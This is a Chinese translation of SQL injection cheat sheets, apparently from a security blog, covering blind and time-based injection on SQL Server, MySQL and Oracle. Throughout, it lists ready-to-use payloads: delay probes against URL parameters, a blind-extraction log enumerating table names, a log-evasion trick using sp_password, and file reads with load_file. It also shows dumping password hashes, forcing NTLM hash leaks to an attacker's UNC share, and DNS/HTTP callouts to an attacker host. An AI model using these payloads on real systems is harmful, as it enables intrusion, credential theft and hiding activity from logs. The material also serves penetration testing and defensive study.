盲注
關於盲注
實戰中的盲注實例
延時盲注
WAITFOR DELAY [time](S)
實例
BENCHMARK()(M)
實例
pg_sleep(seconds)(P)
掩蓋痕跡
-sp_password log bypass(S)
注入測試
一些其他的MySQL筆記
MySQL中好用的函數
SQL注入的高級使用
強制SQL Server來得到NTLM哈希
Bulk insert UNC共享文件 (S)
0x01 盲注關於盲注一個經過完整而優秀開發的應用一般來說你是看不到錯誤提示的,所以你是沒辦法從Union攻擊和錯誤中提取出數據的
一般盲注,你不能在頁面中看到響應,但是你依然能同個HTTP狀態碼得知查詢的結果
完全盲注,你無論怎麼輸入都完全看不到任何變化。你只能通過日誌或者其它什麼的來注入。雖然不怎麼常見。
在一般盲注下你能夠使用If語句或者**WHERE查詢注入\***|(一般來說比較簡單)*,在完全盲注下你需要使用一些延時函數並分析響應時間。為此在SQL Server中你需要使用WAIT FOR DELAY '0:0:10',在MySQL中使用BENCHMARK(),在PostgreSQL中使用pg_sleep(10),以及在ORACLE中的一些PL/SQL小技巧。
實戰中的盲注實例以下的輸出來自一個真實的私人盲注工具在測試一個SQL Server後端應用並且遍歷表名這些請求完成了第一個表的第一個字符。由於是自動化攻擊,SQL查詢比實際需求稍微複雜一點。其中我們使用了二分搜索來探測字符的ASCII碼。
TRUE和FALSE標誌代表了查詢返回了true或false
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
由於上面後兩個查詢都是false,我們能清楚的知道表名的第一個字符的ASCII碼是80,也就是"P"。這就是我們通過二分算法來進行盲注的方法。其他已知的方法是一位一位(bit by bit)地讀取數據。這些方法在不同條件下都很有效。
延時盲注首先,只在完全沒有提示(really blind)的情況下使用,否則請使用1/0方式通過錯誤來判斷差異。其次,在使用20秒以上的延時時要小心,因為應用與資料庫的連接API可能會判定為超時(timeout)。
WAITFOR DELAY time這就跟sleep差不多,等待特定的時間。通過CPU來讓資料庫進行等待。
WAITFOR DELAY '0:0:10'--
你也可以這樣用
WAITFOR DELAY '0:0:0.51'
俺是sa嗎? if (select user) = 'sa' waitfor delay '0:0:10'
ProductID =1;waitfor delay '0:0:10'--
ProductID =1);waitfor delay '0:0:10'--
ProductID =1';waitfor delay '0:0:10'--
ProductID =1');waitfor delay '0:0:10'--
ProductID =1));waitfor delay '0:0:10'--
ProductID =1'));waitfor delay '0:0:10'--
BENCHMARK()(M)一般來說都不太喜歡用這個來做MySQL延時。小心點用因為這會極快地消耗伺服器資源。
BENCHMARK(howmanytimes, do this)
俺是root嗎?爽! IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))
判斷表是否存在 IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
pg_sleep(seconds)(P)睡眠指定秒數。
掩蓋痕跡-sp_password log bypass(S)出於安全原因,SQL Server不會把含有這一選項的查詢日誌記錄進日誌中(!)。所以如果你在查詢中添加了這一選項,你的查詢就不會出現在資料庫日誌中,當然,伺服器日誌還是會有的,所以如果可以的話你可以嘗試使用POST方法。
0x02 注入測試這些測試既簡單又清晰,適用於盲注和悄悄地搞。
product.asp?id=4 (SMO)
product.asp?id=5-1
product.asp?id=4 OR 1=1
product.asp?name=Book
product.asp?name=Bo』%2b』ok
product.asp?name=Bo』 || 』ok (OM)
product.asp?name=Book』 OR 『x』=』x
0x03 一些其他的MySQL筆記子查詢只能在MySQL4.1+使用
用戶
SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = 『root』;
SELECT ... INTO DUMPFILE
UDF功能
create function LockWorkStation returns integer soname 'user32';
select LockWorkStation();
create function ExitProcess returns integer soname 'kernel32';
select exitprocess();
SELECT USER();
SELECT password,USER() FROM mysql.user;
admin密碼哈希的第一位
文件讀取
query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
MySQL讀取文件內容
MySQL裡的各種延時
select benchmark( 500000, sha1( 'test' ) ); query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );
遍歷數據,暴力猜解
select if( (ascii(substring(user(),1,1)) >> 7) & 1,benchmark(100000,sha1('test')), 'false' );
MySQL中好用的函數MD5()
MD5哈希
SHA1()
SHA1哈希
PASSWORD()
ENCODE()
COMPRESS()
壓縮數據,在盲注時讀取大量數據很好用
ROW_COUNT()
SCHEMA()
VERSION()
跟@@version是一樣的
SQL注入的高級使用一般來說你在某個地方進行SQL注入並期望它沒有過濾非法操作,而這則是一般人注意不到的層面(hidden layer problem)
Name:' + (SELECT TOP 1 password FROM users ) + '
Email : [email protected]
[email protected]驟,之後它就會把第一個用戶的密碼寫進你的name裡面。
強制SQL Server來得到NTLM哈希這個攻擊能夠幫助你得到目標SQL伺服器的Windows密碼,不過你的連接很可能會被防火牆攔截。這能作為一個很有用的入侵測試。我們強制SQL伺服器連接我們的WindowsUNC共享並通過抓包軟體(Cain & Abel)捕捉NTLM session。
Bulk insert UNC共享文件 (S)bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'
二、Oracle注入速查表本文由Yinzo翻譯,轉載請保留署名。原文地址:http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet
註:下面的一部分查詢只能由admin執行,我會在查詢的末尾以"-priv"標註。
探測版本:
SELECT banner FROM v$version WHERE banner LIKE 『Oracle%』;
SELECT banner FROM v$version WHERE banner LIKE 『TNS%』;
SELECT version FROM v$instance;
注釋:
SELECT 1 FROM dual — comment
注: Oracle的SELECT語句必須包含FROM從句,所以當我們並不是真的準備查詢一個表的時候,我們必須使用一個假的表名『dual』
當前用戶:
SELECT user FROM dual
列出所有用戶:
SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; — priv
列出密碼哈希:
SELECT name, password, astatus FROM sys.user$ — priv, <= 10g. astatus能夠在acct被鎖定的狀態下給你反饋
SELECT name,spare4 FROM sys.user$ — priv, 11g
密碼破解:
checkpwd能夠把Oracle8,9,10的基於DES的哈希破解掉
列出權限:
SELECT * FROM session_privs; —當前用戶的權限
SELECT * FROM dba_sys_privs WHERE grantee = 『DBSNMP』; — priv, 列出指定用戶的權限
SELECT grantee FROM dba_sys_privs WHERE privilege = 『SELECT ANY DICTIONARY』; — priv, 找到擁有某個權限的用戶
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
列出DBA帳戶:
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 『YES』; — priv, 列出DBA和對應權限
當前資料庫:
SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;
列出資料庫:
SELECT DISTINCT owner FROM all_tables; — 列出資料庫 (一個用戶一個)
– 通過查詢TNS監聽程序能夠查詢到其他資料庫.詳情看tnscmd。
列出欄位名:
SELECT column_name FROM all_tab_columns WHERE table_name = 『blah』;
SELECT column_name FROM all_tab_columns WHERE table_name = 『blah』 and owner = 『foo』;
列出表名:
SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
通過欄位名找到對應表:
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE 『%PASS%』;
— 注: 表名都是大寫
查詢第N行:
SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — 查詢第9行(從1開始數)
查詢第N個字符:
SELECT substr(『abcd』, 3, 1) FROM dual; — 得到第三個字符『c』
按位與(Bitwise AND):
SELECT bitand(6,2) FROM dual; — 返回2
SELECT bitand(6,1) FROM dual; — 返回0
ASCII值轉字符:
SELECT chr(65) FROM dual; — 返回A
字符轉ASCII碼:
SELECT ascii(『A』) FROM dual; — 返回65
類型轉換:
SELECT CAST(1 AS char) FROM dual;
SELECT CAST(』1′ AS int) FROM dual;
拼接字符:
SELECT 『A』 || 『B』 FROM dual; — 返回AB
IF語句:
BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;
— 跟SELECT語句在一起時不太管用
Case語句:
SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — 返回1
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — 返回2
繞過引號:
SELECT chr(65) || chr(66) FROM dual; — 返回AB
延時:
BEGIN DBMS_LOCK.SLEEP(5); END; — priv, 在SELECT中用不了
SELECT UTL_INADDR.get_host_name(』10.0.0.1′) FROM dual; — 如果反查很慢
SELECT UTL_INADDR.get_host_address(『blah.attacker.com』) FROM dual; — 如果正查很慢
SELECT UTL_HTTP.REQUEST(『http://google.com』) FROM dual; — 如果發送TCP包被攔截或者很慢
— 更多關於延時的內容請看Heavy Queries
發送DNS請求:
SELECT UTL_INADDR.get_host_address(『google.com』) FROM dual;
SELECT UTL_HTTP.REQUEST(『http://google.com』) FROM dual;
命令執行:
如果目標機裝了JAVA就能執行命令,看這裡
有時候ExtProc也可以,不過我一般都成功不了,看這裡
本地文件讀取:
UTL_FILE有時候能用。如果下面的語句沒有返回null就行。
SELECT value FROM v$parameter2 WHERE name = 『utl_file_dir』;
JAVA能用來讀取和寫入文件,除了Oracle Express
主機名稱、IP位址:
SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; — 查IP
SELECT UTL_INADDR.get_host_name(』10.0.0.1′) FROM dual; — 查主機名稱
定位DB文件:
SELECT name FROM V$DATAFILE;
默認系統和資料庫:
SYSTEM
SYSAUX
一個字符串列出所有表名:
select rtrim(xmlagg(xmlelement(e, table_name || 『,』)).extract(『//text()』).extract(『//text()』) ,』,') from all_tables
– 當你union聯查注入的時候只有一行能用與返回數據時使用
盲注排序:
order by case when ((select 1 from user_tables where substr(lower(table_name), 1, 1) = 『a』 and rownum = 1)=1) then column_name1 else column_name2 end
— 你必須知道兩個擁有相同數據類型的欄位名才能用
譯者註: Oracle注入速查表的作者這邊還有MSSQL、MySQL、PostgreSQL、Ingres、DB2、Informix等資料庫的速查表,不過我看Drops裡面MSSQL和MySQL都已經有比較好的文章了,所以如果有需求的話請在評論留言。
掃描關注烏雲安全